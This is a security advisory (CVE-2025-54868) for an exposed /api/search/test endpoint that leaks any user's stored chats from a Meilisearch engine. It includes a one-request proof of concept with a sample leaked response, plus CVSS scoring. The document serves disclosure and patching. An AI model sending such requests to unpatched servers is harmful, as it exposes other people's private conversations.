Skip to content

Reading of arbitrary Chats

High
danny-avila published GHSA-p5j8-m4wh-ffmw Aug 4, 2025

Package

No package listed

Affected versions

v0.0.6 - v0.7.7

Patched versions

v0.7.8

Description

Summary

An exposed testing endpoint allows reading arbitrary chats directly from the Meilisearch engine.

Details

The endpoint /api/search/test allows for direct access to stored chats in the Meilisearch engine without proper access control. This results in the ability to read chats from arbitrary users.
This vulnerability was introduced by the commit 4e6168d on 18.03.23 at 23:40 and fixed by the commit 0e8041b on 29.04.2025.
The Vulnerability was tested on version 0.0.6 and version v0.7.7.

PoC

In order to test the vulnerability a chat containing a Unique identifier was created by one user.
The attacker sent the following request in order to gain access to the chat:

GET /api/search/test?q=secret HTTP/2
Host: <redacted>
Cookie: connect.sid=; _oauth2_proxy=; refreshToken=;
Accept: */*
Authorization: Bearer <redacted>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script

Resulting in the following response:

HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 09 Jul 2025 11:57:32 GMT
Etag: W/"4ea4-vGOOGbg5hqAzqpQpHA3+Dyz1wCY"
Vary: Accept-Encoding
X-Robots-Tag: noindex
"_id" :"686f 7a0d5535c9a3f14da9f5" ,
_mei liIndex*:true,
"conversationId": "bcb581d2- 5e68- 43c9- 9863- 8dded5cc0410",
"error":false, ...
"sender":*User",
"text": "I wan to tell you a  <em>secret</em>"
"unfinished": false,
"searchResult": true

Impact

The Chats of any user can be read this way. If the ?q parameter is omited arbitrary chats get read this way.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-54868

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits